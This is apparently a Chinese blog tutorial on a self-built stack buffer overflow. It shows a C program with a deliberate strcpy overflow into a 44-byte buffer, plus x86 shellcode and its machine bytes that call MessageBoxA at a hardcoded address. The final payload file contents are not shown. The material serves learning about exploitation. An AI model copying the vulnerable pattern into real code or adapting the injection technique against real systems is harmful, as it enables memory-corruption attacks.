人为漏洞的构造、文件的载入、弹出MessageBox

获得正确的结果已经不能满足我的欲望了，我希望能进一步的利用，从而弹出一个消息框，这将使用到MessageBox函数。

我们先计算MessageBoxA的地址

0x77D10000+0X000407EA=0x77D507EA

我们写入对应的汇编代码：

 1     __asm
 2     {
 3         xor ebx,ebx
 4         push ebx
 5         push 0x00003231
 6         push 0x30326b74
 7         mov eax,esp
 8         push ebx
 9         push eax
10         push eax
11         push ebx
12         mov eax,0x77D507EA
13         call eax
14         add esp,0xc
15     }

则，对应的机器码为：

 33DB       
  53           
 68 31320000  
  68 746B3230  
  8BC4        
  53           
  50          
  50           
  53           
 B8 EA07D577  
 FFD0        
 83C4 0C

将其写入到txt文件中，等待进行长度的匹配。

通过不断的调试，终于文件password.txt中的内容为

我们的源码中改变了一点

 1 // stack_overflow.cpp : Defines the entry point for the console application.
 2  //
 3  
 4  #include "stdafx.h"
 5  #include <WINDOWS.H>
 6  #define  PASSWORD "1234567"
 7  
 8  int verify_password(char *password)
 9  {
10      int authenticated;   
11      char buffer[44];   
12      authenticated = strcmp(password,PASSWORD);   
13      strcpy(buffer,password);                     //溢出位置
14      return authenticated;                        
15  }
16  
17  void main()
18  {
19      LoadLibraryA("user32.dll");
20  
21      int valid_flag = 0;
22      char password[1024];
23      FILE* fp;
24      if (!(fp = fopen("D:\\password.txt","rw+")))
25      {
26          exit(0);
27      }
28      fscanf(fp,"%s",password);
29      valid_flag = verify_password(password);
30      if (valid_flag)
31      {
32          printf("incorrect password!\n\n");
33      } 
34      else
35      {
36          printf("Congratulation!You have passed the verification!\n");
37      }
38      fclose(fp);
39  }
40

添加了include <windows.h>和LoadLibrary（“user32.dll”）

为了添加messagebox方便。

因为strcpy会对00截断，所以我们构造的字符文件必须要满足一些条件，不断的调试。

成功后出现

可惜程序还是会出现崩溃，本来想实现堆栈平衡的，结果被strcpy截断了。

https://files.cnblogs.com/tk091/overflowExeAndTxt.rar

==================================

书读多了，就会有福至心灵的感觉。